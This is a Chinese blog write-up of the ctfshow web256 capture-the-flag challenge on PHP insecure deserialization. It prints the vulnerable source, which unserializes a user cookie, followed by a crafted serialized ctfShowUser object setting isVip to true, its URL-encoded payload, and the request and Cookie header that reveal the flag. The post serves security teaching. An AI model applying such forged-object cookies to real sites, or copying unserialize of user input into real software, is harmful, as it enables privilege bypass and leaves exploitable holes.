ctfshow-web256(反序列化)

最新推荐文章于 2024-10-20 21:54:32 发布

m0_62094846

最新推荐文章于 2024-10-20 21:54:32 发布

阅读量683

点赞数

CC 4.0 BY-SA版权

文章标签： php linux 开发语言

本文链接：https://blog.csdn.net/m0_62094846/article/details/123061562

该博客讨论了PHP中类的序列化和反序列化过程，展示了如何通过构造特定的序列化数据来绕过权限检查获取flag。作者提供了一个包含用户登录验证和VIP特权的类`ctfShowUser`，并通过示例展示了如何设置cookie来模拟VIP用户以获取flag。博客内容涉及到安全性和代码漏洞利用，特别是关于PHP的序列化漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

序列化

<?php
class ctfShowUser{
    public $isVip=true;
    public $username='a';
	public $password='b';
}
echo urlencode(serialize(new ctfShowUser()));

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3B%7D

?username=a&password=b

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3B%7D